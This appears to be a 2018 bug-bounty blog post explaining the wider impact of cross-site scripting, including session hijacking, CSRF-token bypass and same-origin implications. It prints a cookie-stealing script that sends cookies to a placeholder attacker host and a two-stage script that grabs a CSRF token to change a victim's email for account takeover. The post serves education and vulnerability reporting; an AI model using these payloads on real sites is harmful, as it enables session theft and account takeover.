⌂ ⧽ Best Practices ⧽ The Dark Side of XSS revealed

The Dark Side of XSS revealed

Post author By YesWeHack Team
Post date 22/01/2018

Reading Time 4 min

Cross-site scripting (XSS) is one of the most common web application vulnerabilities and is still present in the OWASP Top 10-2017.

The goal of this paper is not to explain how to bypass antiXSS filter in browser or WAF protection, but to figure out what possibilities are offered by XSS vulnerabilities.

CISOs like Bug Bounty Managers need to pay attention to this kind of vulnerability which -at times- can be critical through the first steps of chaining.

Description

The exploitation of an XSS vulnerability is the ability for an attacker to inject client-side scripts.

When bug hunting, XSS flaw is often the first look for a researcher but sometimes, this vulnerability is not fully exploited so that its impact is not well explained in the report to the Bug Bounty Program owner (who is not always a security specialist). Too often, this can lead to a small reward and therefore to some frustration on behalf of the researcher.

Potential Impact

XSS flaws allow to execute JavaScript under the victim’s domain, therefore the exploitation of these vulnerabilities is not limited to cookie stealing and can lead to other security issues.
To optimize or to correctly qualify a XSS bug and – as a matter of duty – one IT researcher needs to explain for the CISO to understand all the consequences beyond the exploitation of cookies stealing.

Account/Session takeover via Cookie stealing

Cookies stealing is the best known explanation and exploitation for XSS flaws but this attack is only possible if cookies are not protected by HttpOnly.
HttpOnly flag disallows the possibility to access cookies through JavaScript and will return an empty string.
Basically, if HttpOnly flag is missing, cookie stealing can be done with this example and will lead to Session Hijacking:

<script>
document.write("<img src='http://XXXXXXXXX/steal.php?c="+escape(document.cookie)+"'/>");
</script>

If one user is logged on the application and visits one page containing this payload, the JavaScript execution will create an img tag with, as source, the url of attacker’s completed by the victim’s cookies as you can see below :

CSRF protection Bypass

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.

Basically, CSRF Attack is possible when submitting a form that does not contain a protection mechanism to ensure the action is legit.
Protection against this kind of vulnerability would be to add a randomly generated token as a parameter or cookie.
When the request is submitted, the server checks the expected value for this token and compares it to the value in the request. The request will fail if value does not match.

XSS can be used to bypass all CSRF protections, so it allows to automate any action that any user/admin can do via the application.

Example with a tailored email form protected by Anti-CSRF token :

<form method ="post" action="new_mail.php">
New email : <input type="text" name="new_email" value=""/><br />
Confirm new email :<input type="text" name="confirm_new_email" value=""/><br />
<input type="hidden" name="_csrf_token" value="DS3gD8sqM9xdo0WqncDE40Okd5GQ21sP"/>
<input type="submit" name="submit" value="Change Email"/><br />
</form>

As you can see, there is a hidden input named _csrf_token with a random value in this form.

Exploitation of XSS vulnerability will allow to access anti-CSRF token and automate the email changing action of the victim’s account:

<script>

/* STEP 1 GET Request to get token Value*/

var req = new XMLHttpRequest();
req.open("GET", "change_email.html", false);
req.send(null);
if (req.readyState == 4 && req.status == 200) {
/* Get token value from response */
var resp = req.responseText;
pattern = "name="_csrf_token" value="(.*)(?=")";
var token = resp.match(pattern)[1];

/* STEP 2 POST Request to change email automatically */
var http = new XMLHttpRequest();
var url = "new_mail.php";
var params = "new_email=attacker@email.com&confirm_new_email=attacker@email.com&_csrf_token="+token+"&submit=Change+Email";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
}
</script>

This attack is led through 2 stages, first, the script gets the token’s value by requesting the form page.
Once done, the script automatically sends a POST request with the attacker’s email address as parameter and the expected token value.
If no confirmation for this new email address is done via password for instance, this type of attack can lead to account takeover !

SOP/CORS Policy

The same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin. It is a critical security mechanism for isolating potentially malicious documents.

As XSS flaw allows the request to come from the same domain, the exploitation of this vulnerability bypass same-origin policy.
Another point is that if there are any XSS flaws on a website, it can be used to access resources protected by Cross Origin Request Sharing policy to that allowed domain, so do not forget to check if some critical resources can be accessed from this domain.

Conclusion

XSS vulnerabilites consequences are often underestimated, so explore all possibilities offered by this kind of vulnerability within a bug bounty program. This would show the Bug Bounty Program Manager and CISOs how to correctly apprehend the impact of your findings and to better qualify your report.

And last but not least, as IT Security Researchers please do not forget to always add a Proof of Concept to your report.